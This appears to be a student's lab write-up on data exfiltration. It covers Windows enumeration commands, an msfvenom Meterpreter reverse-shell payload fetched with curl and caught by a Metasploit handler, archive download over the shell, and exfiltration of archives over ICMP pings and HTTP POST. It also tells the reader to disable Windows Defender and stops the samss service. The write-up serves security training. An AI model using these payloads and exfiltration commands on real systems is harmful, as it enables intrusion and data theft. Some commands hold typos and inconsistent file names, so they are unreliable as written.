• Task 1: Enumeration

• Task 2: Exfiltration via C2 Channel

• Task 3: Archive Decompression and Verification

• Task 4: Non-Standard Protocol Exfiltration

Enumeration.ps1!

My enumeration script that I made in notepad:

wmic qfe list brief

What it gathers:

This command gathers the updates installed on the machine, when they were installed, the hotfix, and who they were installed by

Why an attacker wants it:

This is essential for an attacker because if a system is out of date or missing an update, it could have vulnerabilities and other possible exploits

cmd /c set

Why is this important to an attacker:

set is used to display the system's variables. /c makes sure that the window is closed right after it is run and this could be useful for an attacker if they are running a script in the background.

netsh interfact show interface

What it gathers:

Shows the network interfaces on the Windows system and their administrative/connection status

Why an attacker wants it:

It can reveal which network interfaces are present and which ones are currently connected, helping an attacker understand the host's network environment.

C:\Windows\system32\net.exe stop "samss" /y

Why is this important to an attacker:

This command has the ability to stop or pause services on the target system.

nslookup firefox.com

Why could this be useful for an attacker:

This is useful because it reveals the DNS server that is being used by the machine.

After completing all enumeration commands, compress all output files into one archive using each of these compression tools from the “Lab Environment Setup.”

• Switch to WindowsISE, type in the following script and make it into a .dds file. Then type in the Compress-Archive command below to compress it into a zip file

Compress-Archive -Path C:\temp\*.txt -DestinationPath C:\temp\archives\enum_out_pscompress.zip

• Here, 7zip was the method of compression

"C:\Program Files\7-zip\7z.exe" a -tzip C:\temp\archives\enum_out_7z.zip C:\temp\*.txt

• Here I used tar to compress the file into a zip file and then used %errorlevel% to confirm that the file was made

tar -czvf C:\temp\archives\enum_out.tar.gz -C C:\temp *.txt

• Here the file was compressed in a .cab format using this command:

makecab /f C:\temp\enum.ddf

• The proper result:

Objective: Establish a reverse shell and exfiltrate the compressed archives to your C2 server.

In your Kali VM run the following command

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<KALI_IP> LPORT=5555 -f exe > exfil.exe
python3 -m http.server 8000

• Use the curl command

Windows Machine

curl.exe http://10.0.17.49:8000/exfil.exe -o exfil.exe

• Open msf console with msfconsole -q and then input the following series of commands:

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.0.17.47
set LPORT 5555
set ExitOnSession false
exploit -j

🚨Don't forget to DISABLE Windows Defender🚨

• Run exfil.exe on Windows

• Check to see if the session was created with sessions -l

I believe Kali says that a meterpreter session has opened under exploit -j after the session is created aswell

• Start the session using sessions -i 1

1. Use the download command to transfer each archive from C:\temp\ to your c2 server

download -r C:\\temp\\archives /tmp

2. Verify each file transferred completely to your c2

ls -la /tmp

Objective: Decompress each archive on Linux and verify data integrity.

• Install 7zip-full

sudo apt install p7zip-full -y

• Install cabextract

sudo apt install cabextract -y

• Destination folders need to be created first

mkdir -p ~/Desktop/tar_output ~/Desktop/7z_output ~/Desktop/pscompress_output ~/Desktop/cab_output

• These commands are the ones used to decompress the archives on Kali

cd ~/tmp
unzip enum_out_7z.zip -d ~/Desktop/7z_output/
unzip enum_output_pscompress.zip -d ~/Desktop/pscompress_output/
cabextract enum_output.cab -d ~/Desktop/cab_output/
tar -xzvf enum_out.tar.gz -C ~/Desktop/tar_output/

• tar_output

• 7z_output

• pscompress_output

• cab_output

Objective: Exfiltrate data using protocols not typically used for file transfer.

1. Research two non-standard exfiltration methods (choose from ICMP, DNS, SMTP, or others)
2. Set up the tools on your C2 server - the tools may already be on Kali like dnscat2
3. Exfiltrate one of your archives from the Windows VM to your Kali server using each method
4. Decompress the exfiltrated archive and verify the contents are readable by showing the contents of 1 file.

Don't forget to change the permissions and make them executable

ICMPListener.py

HTTPListener.py

$ping = New-Object System.Net.Networkinformation.ping; foreach($Data in Get-Content -Path "C:/temp/output_7za.zip" -Encoding Byte -ReadCount 1024) { $ping.Send("10.0.17.36", 1500, $Data) }

This command states that for each piece of data in the the path C:/temp/archives/enum_out_7z.zip, it will send it to the ip address 10.0.17.47

• If you check kali, you should have output stating "Got chunk"

• Unzip the reassembled_output file

unzip reassembled_output -d icmp_output

• Go into the icmp_output directory and check for the files

• Open file and check to see if contents are readable

• Bytes command

$bytes = [System.IO.File]::ReadAllBytes("C:\temp\archives\enum_out_7z.zip")

• Web Request command

Invoke-WebRequest -Uri "http://10.0.17.47:8080/upload" -Method POST -Body $bytes -ContentType "application/octet-stream"

• It should say that there were bytes received in the HTTP listener

• Unzip recieved_file

unzip receieved_file -d output_http

• Go to output_http directory and look inside a file to see if it's readable